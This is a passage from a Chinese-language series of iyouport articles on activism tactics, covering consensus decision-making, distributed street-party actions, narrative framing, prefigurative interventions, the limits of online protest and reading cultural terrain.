- 调动特定类型和数量的力量;
- 针对特定目标;
- 旨在实现特定目的。

在选择策略时，你必须始终能够回答这个问题："战术背后的力量是什么？"换句话说，战术如何让你对目标有所影响？

我们使用策略来证明（或暗示）某种形式的力量。例如，当我们对特定公司采取行动时，我们的潜在力量是经济性的—— 必须占据目标的时间或抢走他们的客户。这就是为什么破坏性很重要。如果我们以官员为目标，潜在力量就是政治性的—— 策略必须让他们付出代价或投票。

通过揭露私生活让当权者尴尬的策略只有当其结果能带来具体的实际的政策改变时，它才是有效的；否则无效。尴尬本身并不是力量。

在社区组织中，力量可以分为两大类：

- 战略力量：足以获胜的力量。
- 战术力量：能够让你朝着目标前进并帮助你获得成功的力量，但它本身并不具有决定性。

活动是在特定时间段内部署的一系列策略，每个策略都会构建组织的力量，并对目标施加越来越大的压力，直到它满足您的特定需求为止。活动不是一系列共同主题的活动; 而是一系列战术，每一个战术都经过精心挑选，以便随着时间的推移加大对目标的压力。所有的战术都是相互联系的，每一个都是根据它需要多少工作以及它将带来多大的压力来选择的。

一场运动并非无穷无尽; 它有一个开端、中间和结尾。理想情况下，它会以特定的胜利结束：人们获得他们想要或需要的东西，和/或目标人员同意做他们以前拒绝做的事。

原理**6**：让愤怒有效**——**

"真相会让你自由，但首先它会让你感到沮丧"：Gloria Steinem

愤怒是一把双刃剑。或许它更像是一根消防水管：它充满力量，很难控制，而且，你用它瞄准的地方是否准确至关重要。

在道德的愤慨和自以为是之间有一个关键的区别。道德的愤慨会将愤怒转化为决心、勇气和强有力的尊严主张。想想民权运动；另一方面，自以为是可以预测的并且很容易被驳回。想想：16岁的蒙面男子手持横幅，上面写着“粉碎资本主义消灭富人”。

你有没有看过“Malcolm X ”电影的场景，一群愤怒的人聚集在一起，以完美的阵型在监狱外站成一圈，要求释放他们的朋友？很屌的画面。他们都穿着西装，他们站在一起，他们的纪律明确表达：我们很生气，我们才是对的，你错了，你会给我们想要的东西。

诚信为愤怒赋予了深刻的意义和道德力量。行动者永远不应该为了疯狂而疯狂，而是在不情愿的情况下真正地愤怒。

掌握这一尺度：你是在回应，而不仅仅是作出反应；你在坚持不懈，而不是攻击。

当然，抑制合理的愤怒可能会像怒发冲冠的反应一样令人虚弱。由于害怕失去理智和引起大规模的激愤，部分激进被掩盖了。由于无法应对大规模的不满，我们仍处于边缘地位。相比之下，许多青年运动自我边缘化正是因为他们的愤怒难以引起共鸣。成功的行动者，你应该能找到两者之间的甜蜜平衡点。

——未完待续——

1. 行动技巧(19)

原文

（20）共识只是手段而不是目的 - iyouport

行动技巧、战术和原理

（2019年9月6日存档）“问题不在于夺取权力，而在于行使权力。”

“经过投票大家一致同意”，这句话听起来无比美好是吧，事实上并不一定。

我们得知威权国家的公民社会组织和反对派团体内部在积极地施行民主实践，这真是太好了；只有通过不断实践才能掌握民主议事的要领。

不过，如果实践中屡战屡败，有可能严重消耗集体热情，甚至会有人因此怀疑民主本身，那就太糟糕了。

如果你觉得自己在这个社会里是边缘人士，缺乏发表不同意见的机会，于是你加入了反对派，以抵制社会不公；然而你发现自己在反对派组织中也处于边缘地位，你被忽视，经常只能“参见主流意见”，那么将说明你加入的组织在运作方面出了点问题。

这种时候你怎么办？离开他们组建自己的小圈子？也许曾经有很多人这样做了，这就是为什么你看到一个大社区不断地分化、变小、再变小……直到重新回到一盘散沙。

共识决策是反抗者组织所声称追求的，罗伯特议事规则被奉为圣经。但是，有些时候它也会出问题；尤其是对于那些缺乏民主经验的社会中的反对派组织而言。

共识决策的两个基本价值观是：赋予每个人充分参与决策的权利，尊重和容纳不同意见的能力。

⚠这些价值观比形式本身更重要，活动家应根据需要努力协调以维护这些价值观。

共识决策是一种平等主义和包容性的方法，在集体成员积极参与和同

意的基础上达成协议，共同作出决定。

共识决策的重点在于决策本身的基本流程和价值观，而不是形式。共识这个词源于拉丁语“consentire”，意思是“共同的体验或感受”。

共识根植于世界各地实行的直接民主的分散化模式 —— 从印度的村庄 panchayats 到土著 Haudenosaunee 联邦（又名 Iroquois），从贵格会到无政府主义者轮辐会议。

顺便说，中国的社区团体不论是地域性的还是立场性的，都可以作为直接民主的实验田。关键在于掌握协商要领。

一方面，共识是提案经过辩论然后进行投票，这种方法如今大多数人都能理解；另一方面，共识是对我们根据直接民主原则组织自己的权力的一种预设的承诺：横向、参与、包容、合作和非强制性。但要做到并不容易。

然而，⚠滥用共识是对与之相关的结构和形式的教条式依附，它有时可能会变得与它想要取代的体制一样的霸道和令人疏远。

或许在中国的异议人士会有相关经验？你是否发现反对派群体和他们所反对的人在某些方面“如此相似”？

在这肯定是很不好的，令人失望。

如果发生这种情况，参与者的反应不应该是“这就是共识的工作方式！”相反，我们的共同责任是深入研究可能造成这些负面反应的动态。

共识存在五个常见问题，可能会造成挫败感。

首先，共识通常通过创建那些达成一致的阵营而不是那些阻挠的阵营来重现多数主义统治。

与普遍看法相反，共识并不一定意味着一致同意。

如果误解这点，会导致人们错误地认为异议是一种分心或障碍，并增加了使意见同质化的压力。

你一定熟悉一群人相处一段时间后异议就消失了，那种令人困惑的局面。

第二，一些声音可以支配讨论，这个问题往往会使种族，阶级，性别和教育水平的权力不平衡永久化。甚至小圈子内也存在这种情况。

第三，通常存在一种错误的假设，即 沉默意味着同意，最终可能会扼杀更广泛的讨论和对替代提案的考虑。

第四，协调人有一种不幸的倾向，即通过基于他们自己的偏见来指导对话，从而行使隐蔽形式的权力。

共识的第五个问题更具基础性和结构性。具有讽刺意味的是，表面上看起来的一致就可以隐藏系统性不平等的令人不安的真相。

如果是这样的，那可不是个好的民主，哪怕赋予投票权。

几乎天生就是如此，共识过程可能导致人们无法积极研究特权和压迫的问题如何塑造我们的空间。

为了解决这些问题，许多社区和集体开始尝试使用修改后的共识形式 —— 例如，

- 优先考虑并从代表性不足的边缘群体以及直接受到决策影响的人那里获得意见；
- 促进小型突破小组，以确保更多的参与；
- 鼓励更多的辩论和讨论，而不仅仅是要求将团体细分（即 你熟知的圈子越来越小）；
- 积极纳入反压迫原则，以防止处于不利地位的人被进一步边缘化。

共识可以是美好的和变革性的，但是，只有当结构和过程满足参与其中的人的需求和愿望时，它才能做到。

否则，它可能是像传统的权威决策系统一样的枷锁。

请记住，共识是达到目的的手段，而不是目的本身。〇

原文

（21）分布式行动的街头派对 - iyouport

行动技巧、战术和原理

（ 2019年9月6日存档）展示运动的广度、多样性和力量；你不需要把队友集中在同一个大目标上。

> 展示运动的广度、多样性和力量；你不需要把队友集中在同一个大目标上。

我们听一些活动家这样说过：“只要我们行动起来，其他地方的人们就会效仿”。这似乎带有碰运气的成分，因为“其他地方”的行动并非可控也不在计划内。但为什么不能计划呢？

先讲一个故事。

收回街道（RTS）运动，作为经典级的群众运动也许你听说过，那么我说的简单点。它起初是伦敦的创意活动家团体组织的，但其战术的别具一格，很快就传遍了全世界。

结合英国反道路建设运动的直接行动和反文化狂欢场面的性质，RTS成为了90年代后期全球反资本主义运动的催化剂。

RTS认为街道是城市的公共区域，需要从汽车和商业的围场中拯救出来，供所有人享用。

RTS 以其街头派对的创意形式而闻名，它不仅作为反对汽车文化的抗议工具，而且，作为一个预设的愿景，将人优先于利润、将生态优先于经济。

第一次街头派对于1995年5月在伦敦北部举行。

该行动使用了狂野的文化策略，但活动家们非常专业，在行动之前他们采取了有效拒止策略（关于拒止，详见“战略性欺骗”系列文章）该行动的位置一直保密，直到最后一刻；参与者通过地铁从四面八方聚集到派对现场，在警察有时间聚集力量之前。

行动开始的场面是两辆汽车撞到了彼此。司机们在戏剧性的公路上跳了出来，开始用各自准备好的锤子敲打对方的车子。

如你所知，周围的车全停下来了，爱看热闹的人们很快聚集。

与此同时，500名活动家从地铁站里钻了出现，进入了没有任何车辆行驶的街道；没人在乎那些撞坏的车辆了，这时候派对正式开始，人们跳舞狂欢、分享免费食物、结识新朋友。

从1995年至1998年，街头派对的复杂性和规模发展。

创造性的技术包括在道路上倾倒的大量沙子以创造沙箱屏障，以及在街道中间竖立脚手架一样的三脚架，有人坐在上面。

这些“智能”路障阻挡了汽车，但却为行人打开了路。

1996年夏天，8,000名参与者接管了高速公路，推着巨大的嘉年华玩偶在其中移动。

这个玩偶带着超大的裙摆，隐藏在裙摆下面的活动家们用手持式凿岩机钻地，在高速公路上种植树苗。

这场行动在早期互联网上是一个神话般的存在，令全球人兴奋。它甚至激发了来自利物浦的引人注目的码头工人为RTS事业做出贡献，证明了想象力完全可以打破阶级障碍和政治/文化差异。

RTS 的 meme 很快传遍了英国和西方世界。 1998年5月，发生了七十个跨国城市联动的全球性街头派对，此时恰逢八国集团首脑会议。

一年后，由 RTS 和人民全球行动网络协调的618“资本嘉年华”，在全球金融区同时采取行动，参与者从尼日利亚到乌拉圭、从首尔到墨尔本、从白俄罗斯到达卡。

六个月之后，一场狂欢节般的大规模街头行动在西雅图直接让世贸组织停工。

RTS 之所以成功，是因为它看起来不像典型的抗议。

你所熟知的许多政治行动都是可预测和无聊的；而街头派对则恰恰相反。

各种各样的人都参与其中，因为他们知道这既是一场侵略性的政治冒

险，也是一次精彩的派对。

没有任何阶层、代际、性别、种族的隔膜。

RTS 的政治大胆点燃了希望，而希望是新运动形成的催化剂。

如本节开头所述，如果你希望你引导的运动在不同地区被自发复制，那么最好能让人们看到希望、看到参与其中的乐趣。而不是痛苦地垂死挣扎。

这不是全部；其之所以受欢迎的另一个关键原因在于，它涉及一个简单、适应性强的公式：筹建一个完善的系统，在不同地点连续或同时爆发；而不是将全部力量集中在一条高速公路上。

这场运动的的创造力来自于它的多样性 —— 从艺术家到无政府主义者、从工会主义者到生态学家、从掠夺者到骑自行车的人 —— 所有人都聚集在一起，试验新形式的群众行动。

这就是本节的主题。

我们讲过很多关于这个集中化互联网的危险，也讲了更多关于如何避免这些危险，如果您已经能够通过认识前者而掌握了后者，互联网依旧可以是您联合全球活动家加入您的狂欢的大舞台。

将世界各地的人们连接到一个共同的事业。

这可能意味着征集签名的请愿书，但也完全涉及在人们各自的城镇和城市中采取真实的行动。就如 RTS。

如果能计划良好，分布式策略就可以迅速投射运动的力量，并让活动家们感觉自己是更大整体的一部分。

当一场行动是前所未有的时、当你的合作者过少且分散时，这种方法是尤其有效的。

分布式行动可以通过多种方式帮助推动运动向前发展，并将关键问题放在首位，但以下这些关键要素依旧需要您熟知：

创建同一口号的不同版本号召性用语、信息或框架，适应各地文化，以便同时采取类似的行动。

- 事件全部同时发生的事实突出了权力感，并让人们将注意力集

中在眼前的问题上。

行动的几天（或几周）可以是高度纪律化和结构化的，也或者完全可以是轻松自如的，更像是一顿晚餐，每个人都会带来自己烹饪的菜。

组织者可能会选择在选定的“旗舰”地点投入时间和精力来帮助推动故事，并在其他一些地方将事情提升到更高的水平。

- 行动呼吁。

行动呼吁不仅应该与您的核心支持者和网络产生共鸣，而且应该讲述一般公众都会理解的故事 —— 而不是大道理，并激励新的志愿者领袖走上街头。

- 提供工具。

引人入胜的故事和健康的灵感是实现成功的分布式行动的最重要因素。

但是为那些从未组织过行动的活动家提供一些额外的资源会很有帮助。

没有太复杂，可以像发布一些提示的网站链接一样简单，也可以像提供海报、清单、样本新闻稿等现场培训和可下载工具包一样“复杂”。

某些行为，特别是涉及非暴力直接行动的计划，需要比其他行动更多的支持。

⚠请注意，成功的分布式行动需要所有相关方的承诺。这可能很容易让人觉得没有人在听。

💡分布式行动源于灵感、动力、希望和努力。如果你能讲述一个可以引起共鸣的故事，并保持积极和有趣的前景，你就可以实现伟大而成功的分布式行动。

⚠潜在的风险 ——

就其本质而言，分布式行为可能是有风险的。不是在个人身体上的风险，而是在政治上：你发起了一个呼吁，结果是，你从未见过的人会打着你的旗号加入行动。其中可能出现愚蠢的事，要求你进行损害控制。

必须说，这是这种开放式架构固有的风险，但是，绝不应该阻止您这样做。

大多数事情都可以顺利进行，只要你遵循上面的指导方针越多 —— 一个强大的框架、明确的行动呼吁，以及帮助人们保持正轨的坚实工具 —— 你遇到问题的可能性就越小。

💡许多团体采取了行为指南措施，或者允许人们注册加入是选择“认同”的行为准则。你也可以试试。〇

原文

（22）框架是一种权力 - iyouport

行动技巧、战术和原理

（ 2019年9月6日存档）“关于框架有一个基本的事实：如果你接受了别人的框架，你就输了”

还记得我们在《互联网霸主的时间线》那篇长报告中一开始所阐述的问题吗？没错：叙事。也就是讲故事。这非常重要。

人类本身实际上是用叙事连接起来的。

故事是我们生活的线索，是故事把人们编织在一起，形成人类文化的结构。

故事可以是立即通知、也或者是欺骗，可以是启发、也或者是娱乐，再或者是所有上述这一切。我们生活在一个由故事塑造的世界中。

传统的分析使组织者和活动家能够理解关键目标决策者和盟友之间的权力关系和制度动态。

叙事分析则提供了一个框架，将权力分析扩展到叙事空间 —— 故事、思想和假设的无形领域，构成公众对情况和有关参与者的看法。

叙事有助于定义什么是正常的，什么是合理的，以及政治上可能的限制。所有权力关系都有这样一个叙事组成部分。

🌤叙事的基础是认识到故事的价值不在于真理，而在于意义。

也就是说，故事的强大之处在于，故事如何在听众的心灵和思想中创造意义。

如你所知，说服人们的障碍通常不是由于他们尚不知道什么，而是他们已经知道的却没能理解的。

换句话说，人们现有的假设和信念在充当叙事的过滤器，以防止他们去*理解*社会变化的信息。

就如大多数人都知道“我的TL”和“他的TL”不一样，于是“我眼中的热点”和“他眼中的热点”不一样；这就是算法专制，但是，也正是大多数人依旧在假设这个互联网是信息自由的、或者干脆说依赖这个互联网带来信息自由，于是他们会下意识地拒绝去*理解*什么是算法专制。

叙事权力分析旨在挖掘这些有害叙事的隐藏阻塞，以便解放性叙述可以更好地挑战它们。

🌤简单说，你的叙述不仅需要能挑战所面临的经济和政治力量，而且，还应该挑战支持这些力量的叙述 ——这种叙述自我合法化并允许构建它的权力发挥威胁性。

目前的现实往往植根于压迫性叙事。作为变革推动者的角色就是要破坏这些叙述，并用有助于建立一个更公平、更自由的世界的新叙事取而代之。

叙事最重要的是框架。

> 赢得辩论的最简单方法是由你来定义辩论条款。

重构是通过加宽框架、缩小框架或将框架完全移动到另一个场景，来用新的故事替换旧故事的过程。

当权者通常会以一种有利于他们利益的方式来制定他们的议程；你要做的就是打破他们的框架。

就像相机的取景器一样，叙事的框架将公众聚焦于反映制定者利益的特定信息上。

如何重新定义一个问题？第一步就是进行叙事权力分析，寻求确定对手的基本假设 —— 例如 “这是独一无二的”、“天下的天鹅都是白色的”、“C 国是世界上最伟大的国家”……

根据你的叙事权力分析，提出另一个揭露错误假设的故事。

⚠重构通常包括通过突出显示故事中已被排除在主线之外的方面来使隐藏的部分变为可见。

接下来，设计一个重新定位故事的重构动作。将公众的注意力转移到犯罪现场，以揭露一个恶行。

使用与历史叙事相关的标志性位置，例如纪念碑或公园，其名称在故

事中很重要；将您的行动与即将备受关注的高调活动或重要日期联系起来，构建并预示围绕这些庆祝活动的公众对话。

“重要日期”甚至可以不是传统的，只要它是大众所熟知的 —— ⚠请注意，是大众而不是小众，不能将反对派群体自己的“重要日期”理解为大众。

如果您希望将重构行动扩展为一场运动，您可能会成功地将强大的新 meme 注入到媒体和政策语话中。芝加哥 Arise Workers Center 的 Adam Kader 提供了这样一个例子：

像劳工部和主流媒体这样的机构将剥削工人的现象称为“不支付工资”。

但是，工人中心设计了“工资盗窃”的 meme，直接推翻了主导假设，即：工资是老板的财产，它只是在与工人分享。

相反，在这个新的叙述中，工资被强调是工人的财产，并且被老板偷走了。

这是一个成功的反击性叙事。

⚠想想看，中国当局一直将可怕的社交媒体情报描述为“舆情分析”，暗示权势在通过社交媒体“了解民意”，事实上这是监视，只有“情报”的叙述才能体现出挖掘和操纵的阴暗。然而包括知识分子在内的几乎所有人都在沿用当权者的叙述 —— 依附于对手的框架，导致大众一直对这种明目张胆的监视不以为然。

现实中有很多这样的例子，活动家们应该努力开发它们，争取更全面地夺取叙事框架的权力。〇

原文

（23）别把注意力集中在抵抗上：预设性干预战术 - iyouport

行动技巧、战术和原理

（2019年9月6日存档）“你永远不可能仅仅通过对抗现有的现实来改变这一切。要改变某些东西，你必须建立一个新的模型，使现有模型过时。”

让人们看到正在为止奋斗的新世界是什么样，展示它将如何发展；让这样的世界感觉不仅是可能的、而且是不可抗拒的。

我们中的许多人花了很多时间和精力去试图阻止不好的事情发生，但是，很少会有人花时间勾勒出事情会如何变得更好，更不用说真正走出去创造我们想要的未来的一小部分了。

还记得我们在《如何虚构一个民主实践？》中所陈述的问题吗？就是那样。当下中国的创作者惯于描述封建宫廷、专制苦难、贫穷和无助 .....却不会描述民主社会，这也许是反对派难以获得支持的原因之一。

这里指的预设性不仅是文艺作品。

美国民权运动的午餐柜台静坐常常被称为反抗、勇敢和最终成功抵抗种族隔离的伟大行动。

绝对如此，但是这场行动也是非常具有预设性的。行动者坐在“只限白人”的午餐柜台前，要求被服务，预示着胜利、并预示了他们想要生活的世界是什么样：他们正在实践他们想要的种族融合。

恶作剧、艺术干预、战术媒体、替代节日和临时社区，甚至是游击剧院 ..... 都可以成为预示我们想要生活的世界的有效方式。

还记得我们此前推荐过的“小房运动”吗？如果您错过了，在这里看到《从”小房”运动中汲取经验》。

预设性干预措施是指在假设点上的直接行动 —— 信念的制定或废除，拉长可能的极限。

🌤预设性干预的目标有两个方面：提供一个可能的、更好的、未来的，以及引人注目的一瞥，以指出我们实际生活之世界的想象力贫乏。

就像埃及的解放广场和 Indignados 运动对西班牙公共广场的占领一样，世界各地的占领营地都是预设性干预的模版 —— 为人们创造了一个空间，让他们在微观世界中创造他们想要的社区和民主世界。

同样，Burning Man 艺术节作为一个*临时自治区*，人们可以在这里实现价值观、测试想法，并实时地展望未来。

Oil Enforcement Agency 是一项2006年发起的戏剧性行动，其中环保活动家戴着与 SWAT 一样的帽子和徽章，提出了一个不存在的但应该存在的措施 —— 他们模拟了政府本应该认真应对气候变化的未来。

如果希望确实是我们通过锻炼出肌肉所带来的，那么预设性干预是最好的努力方式之一 —— 🌤无论是通过公民不服从的预设行动、替代社区的形成、还是恶作剧的挑衅。

⚠关键原则 ——

你可以继续谈论乌托邦，关于你梦想的更美好的世界，关于事情可能会有什么不同 ……直到徒劳无功，直到你自己都对自己产生怀疑。

但是，你真正需要做的是去创造一种你所寻求的变化的生活体验 —— 是首先你信任它，而不是你希望劝说其他人都去信任它 —— 是打破玩世不恭，激发我们的政治想象力并确认这一点的最好方法。

“是的，另一个世界是可能的”。毕竟，我们无法创造一个我们尚未想象到的世界。如果我们已经尝过它，那将更容易实现它。

⚠注意事项 ——

切勿滑入深奥的幻想世界里。

预设性干预并非是让你去描绘一幅充满彩虹和独角兽的迷人画面，而是提出一个有远见的、可取的、超越性的片段。

总之，它必须有意义。

目标是实现新的，而不仅仅是“证明旧的哪里有问题”，否则又会回去单纯对抗的老路。这点很重要。

下面简单说说。

> 干预点是系统内的物理或概念性场所，可以通过施加压力以破坏其顺利运转而推动变革。

干预点是系统/体制中的特定位置，其中目标操作可以有效地中断系统的功能并打开改变的途径。

通过了解这些不同的点，组织者可以制定策略，确定最佳干预点，以产生最大的影响。

⚠真正有效的干预措施不仅仅是破坏一个系统，而是，对其基本假设和基本合法性提出更深层次的挑战。

无论干预是针对像血汗工厂这样的物理系统，还是像种族主义、性别歧视、或市场原教旨主义这样的意识形态系统，都是如此。

干预点有五种类型：生产点（例如工厂），销毁点（例如伐木开路），消费点（例如零售店），决策点（例如公司总部），和假设点（基础叙事或具有象征意义的地方）。

分头说。

1、 生产点

生产点的行动是劳工运动的基本见解。

工人组织的目标是直接影响他们所处的经济体系和该体系最脆弱的地方。

罢工、纠察线、工作减速和工厂接管，都是生产点行动。

2、破坏点

破坏点是实际发生伤害或不公正的地方。

它可能是提取资源的地方（矿产）或废物倾倒的地方（垃圾填埋）。

按照其设计，破坏点几乎总是远离公众的注意力 —— 由于偏远、压迫性的假设或因无知而无形 —— 并且往往会对已经边缘化的社区产

生不成比例的影响。

在破坏点进行的干预可以暂时阻止破坏行为，并将更大范围的冲突戏剧化。

3、消费点

消费点是与不公正相关的产品或服务的互动位置。消费点行动是消费者抵抗的传统舞台。

消费点通常是针对商业实体的行动最明显的干预点。

当立法者不听从民意时，消费点行动也是吸引大公司注意力的好方法。

4、决策点

这是不言而喻的。公司董事会、或国家首府、或国际峰会；许多成功的运动在决定向关键决策者施加压力时都在此采取了某种形式的行动。

5、假设点

如上所述，假设是意识形态的基石，是政治信仰体系的 **DNA**。当它们可以保持未经审查时，它们会处于最佳运作状态。

📢如果基本假设可以暴露出与人们的生活经验或核心价值观相悖的东西，那么整个信念系统就可以被转移。

揭露和瞄准大众广泛持有的假设的行动，可以非常有效地围绕一个问题转变语话，并开辟新的政治空间。

假设点行为可以采取许多不同的形式，例如暴露虚伪、重新解决问题、放大故事中先前被噤声者的声音，或提供替代愿景。

📢将创意行动转变为真正的变革需要谨慎的策略。以目标为导向确定干预点是帮助设计与大型活动和社会变革目标相关联的行动的第一步。〇

原文

（24）在社交媒体上”抗议”有什么问题？ - iyouport

免费书和纪录片社会反抗和思考行动技巧、战术和原理

（2019年9月17日存档）为什么反抗运动很多，却收效甚微？互联网上的反对意见究竟是否能给当权者带来压力？

多年前，中国的祝华新曾经直言不讳地讲出这样的话：“让人们在网上多骂几句他们就不会上街了”。当时我们分析过这件事。在广泛的舆论中这句话被解读为对所谓的键盘侠的嘲讽，但其实上没有这么简单。

或者说，祝华新这句话远远不是全部。

相关思考早已不是第一次被讲述。多年来不同领域的研究人士多次分析并质疑社交媒体促进社会运动的神话；从政治学角度上是对新媒介如何阻碍民主辩论的思考，在技术角度上是对算法专制的警告，在社会学角度上就是这篇文章尝试解释的问题。

在很久很久以前，社交媒体曾经被很多人认为是政治和社会运动的新基础。但是，虽然在 **Twitter** 或 **Facebook** 上创建社交运动很容易，但将其转化为实际的社会运动以此来推动政策改变，却是截然不同的两码事。

在互联网彻底改变世界通信速度之前，社会运动的增长是缓慢的。蒙哥马利公交车抵制活动花了一年的时间实地地组织和动员变革；著名的民权运动花了十年的时间才促成“进军华盛顿”的示威。

相比之下，像占领华尔街这样的大规模抗议活动能够迅速形成，但是，由于随后缺乏潜在的弹性，往往失去焦点、方向，最重要的是，它们有可能影响变革的推进。

根据北卡罗来纳大学教堂山分校教授 Zeynep Tufekci 和 Tear Gas 的说法，土耳其的格兹公园抗议活动在几天之内就从无到有成为了一场大规模的运动，展示了组织动员使用数字工具的力量。

但是，正因为它太快了，或者说太仓促了，其结果出人意料……“当前社会运动形成的容易程度之高往往无法表明其组织能力强大到足以威胁当权者。”

社会由共同行为驱动，即使我们不同意，共同行为依旧会形成一些东西。不仅由于推动人类进化的相互依赖，也由于我们共享空间：空气、水、土壤、道路、城镇、城市、景观 ……社区既可能也是必要的。

特别是，我们的物理社区由空间组成，我们在这些空间中互动、交流，并努力相处。

在公共场所我们向邻居打招呼、照看骑自行车的孩子、步行上班、给陌生人指路 ……不小心撞到人因为我们正在手机上输入“「「 hugs 」」”以回应朋友失恋的消息。

学习信任和依赖邻居的最重要因素之一就是社区的街道生活。

步行街区提供的日常活动也确保了我们每个人迫切需要的与其他人维持的定期联系。

这些相互作用可能很小，通常几乎不易被察觉（比如跟邻居借根葱包饺子），但是我们的大脑已经发展到寻找自己的部落、自己的社区、和自己的邻居来提醒自己，我们并不孤单。

研究表明，通过与邻居和社区之间的互动所建立的信任，显著增加了公民参与，同时增强了人们相互理解的能力。

⚠有效的抗议不仅需要能够让人们聚集起来的权利，还需要可以进行聚集的公共空间、以及了解这些权利是什么的公民。

“公共的街道和公园一直被用于集会的目的…从古至今，街道和公共场所的这种使用已经成为基本人权、豁免、权利和公民自由的一部分” —— 这是美国最高法院于1939年作出的裁决，维护了公民在公共街道集结的权利，打击了市政要求此类集会需要事先获得许可证的要求。

这些都是强有力的话语，吸取了历史的教训。

当国家和地方政府开始限制集会权利必须在某些固定时间内和固定地点时，已经回到了19世纪初的状况，当20世纪中期最高法院开始允许这些限制性法规存在时，这一切对民主产生了非常实际的影响。

就在2017年和2018年，美国有至少**30**个州的立法机构提出了限制集会自由的建议，并在某些情况下通过了。

⚠有些法律禁止人们在参与抗议时戴口罩或面罩；其他的法律则试图通过加宽对“非法骚乱”的定义以削弱公众集会的集体力量。

俄罗斯和土耳其等威权国家的抗议者被成百上千地逮捕，他们的集会权被剥夺。就像2015年在西班牙发生的情况一样，也许会令很多人对民主的未来感到不寒而栗。

为了回应全面禁止任何形式抗议活动的官方意识，包括在国会门前举办的游行或集会，活动人士采取全息图抗议的形式。

一万八千人将自己置身于全息影像抗议活动中，这些活动在国会门前举行预计持续数小时，同时激进派领导人也通过全息影像发表演讲。

没有任何交通堵塞，依旧人声鼎沸。

与在线评论和请愿的不确定现实相结合，这是否就是我们的未来？政府机构会对全息抗议活动做出什么回应？他们真的会关心吗？

互联网时代的点击式请愿书是快速收集成千上万个签名的完美形式，但是，它们不太可能更有效地触动政策的变更和投票意向的改变，与一群有血有肉的人站在街头提出他们的要求相比，有天壤之别。

通过不断的揭露已经越来越多人知道，恶意行为者、trolls 和假装成公民的自动机器人农场，不仅可以通过扩大分歧造成极化，而且还可以产生数以百万计伪造民意的在线评论，旨在以某种方式影响公共政策。

数字技术已经开辟了难以想象的接入和与世界的连接，但是，它也使人们质疑其自身在政治抗议中的作用。

当我们在人类与技术之关系的新时代中进行导航时，面对面接触和面对面的大规模抗议活动 —— 这种几个世纪以来始终作为争取完全公民权利之工具的社会运动 —— 已经必需变得更加重要。

新的抗议时代将不得不学习如何将在线连接的简易性和速度与长期稳固的面对面组织行动相结合，从而给予身体力行的抗议以强度和持久力。

推荐一本书，就是上图，即将出版。本文部分内容是这本书的节选。

Online movements can burn out faster than campaigns that spend months or even years forging in-person connections.

原文

（25）了解你的地形是策划行动的第一步 - iyouport

行动技巧、战术和原理

（2019年9月20日存档）世界各国政府真正担心的应该是通信技术方面的专家

> “世界各国政府真正担心的应该是通信技术方面的专家。” —— *Subcomandante Marcos*

上面这句话的关键字不是“技术”，而是通信。

也就是那些知道该如何让他想要的大众有兴趣听他说话的人。

无疑，这是每一位活动家的梦想 —— 是动员和促进的基础能力。

如何做到这点？

游击战的第一条规则就是了解你的地形 —— 并利用它来发挥你的优势。

无论你是在真正的丛林中作战还是在大众文化的隐喻荒地中战斗，情况都是如此。

与中国的异议人士和活动人士交流的过程中我们经常能发现，人们对这个社会的弊端、文化的坑壑了如指掌；也正因此，一种无望的气氛笼罩在对话中。因为人们没能真正了解。

⚠很可能是一开始的问题设置就错了。这个问题应该是“怎么才好”，而不是“为什么不行”。

如果你一直寻求“为什么不行”，就会真的放大所有弊端，从而覆盖了真正存在的可利用性。

别怕，这种情况在很多国家都存在，而非哪种文化体系的特例；尤其

是在屡战屡败的经历中，人们难免会滋生一些疲惫的愤懑。

请一直记得，活动家的天赋应该是创意。从事创意活动的人需要能够驾驭自己开展活动的更广泛的文化景观，并将其用于自己的优势。

在二十一世纪，这个地形包括病毒式传播的视频感受、Twitter主题标签、游击广告、名人八卦、体育运动热点、宗教图像、和其他文化碎屑 ……

但是，如果一个文化环境明确地为了商品化一切有价值的东西、或者令其促进服从权威的目的，活动家应该如何生存，更不用说茁壮成长了？

如果上述列出的内容让您一眼看去就觉得是庸俗的和应该排斥的，那只能说明您没能找到利用价值，或者干脆说，您掉入了权势设计的陷阱。

无疑，所有文化手段都包含矛盾。例如，开发营销活动是为了利用情感刺激来销售产品，但是要做到这一点，他们就需要利用大量人群的根深蒂固的梦想和噩梦。

这是很正常的。

有时这些欲望是可怕的和反动的（使用那种牙膏也许会导致你孤独终老），但他们有时也会利用积极的、通常是乌托邦的梦想（喝这种啤酒，你会被一个温馨欢畅的社区所包围）。

而你完全可以找到后者。

举一个稍显严重的例子。考虑宗教：进步活动家通常认为宗教是一种旨在强化现状的机构，而不是变革性的。

在宗教方面肯定会有很多谴责，但是要知道，它也是一种道德体系和行为准则，肯定可以用来批判物质主义的规范和理想。

世界上伟大的宗教赞美爱、社区和对他人的责任等美德 —— 这对于精明的社会运动组织者来说无疑是一种很好的材料。

摩西是一位引人注目的领袖，穆罕默德是一位大师级诗人，而耶稣则是将金钱利诱赶出神殿的富有创意的活动家。是不是看起来好玩很多了呢？

1906年，著名哲学家、心理学家和和平主义者 William James 告诉一群美国学生，如果你们希望通过你们的和平主义信息来接触更广泛的公众，就首先需要理解这场战争，无论多么血腥和野蛮，也都是值得理解的。⚠深入了解并利用像荣誉和牺牲这样的情感，这些价值需要先被识别然后重新定向。

他总结说，不是直接拒绝战争，而是需要在文化的价值体系中明确表达“战争的道德等同物”。这句话是关键。

James 指出了一个要点：🌤就是利用周围文化中潜在的积极因素，然后将这些梦想、欲望、形象和冲动转变为更具进步性和创造性的社会目的。

它就变成你的了。

承认今天的文化地形层次多样、而且很多变。

与丛林中的游击队不同，他们几乎只需要知道他自己的当地地形就可以了，而我们这些在二十一世纪的文化游击队，🌤需要的“射程”可能要远很多。

您可能不喜欢或不熟悉飙车族、职业体育、真人秀和超级英雄，但是他们都是当下文化的肥沃领域。完全可以利用起来。

要做到利用，可能需要一种开放的心态和一点个人的勇气，但是对于你的目的来说，你值得让自己沉浸在其中，了解并尊重文化“他者”的世界 —— 对于我们许多人来说（具有讽刺意味的是）我们的反文化类型是他者的大众文化。

⚠小心陷阱：

我们寻求适应和重新利用的大众文化往往植根于深刻的倒退思想和意识形态。所以，你要做的是，仔细地、精心的、和创造性地使用它们，否则，它们的原始目的可能反而占上风。〇

原文

（26）展示，而不是告知：空降泰迪熊的大胜 - iyouport

行动技巧、战术和原理

（2019年9月20日存档）使用隐喻、视觉效果和具体的行动来展示您的信息，而不是陷入讲道、传播或以其他方式去告诉您的听众应该思考什么。

使用隐喻、视觉效果和具体的行动来展示您的信息，而不是陷入讲道、传播或以其他方式去告诉您的听众应该思考什么。

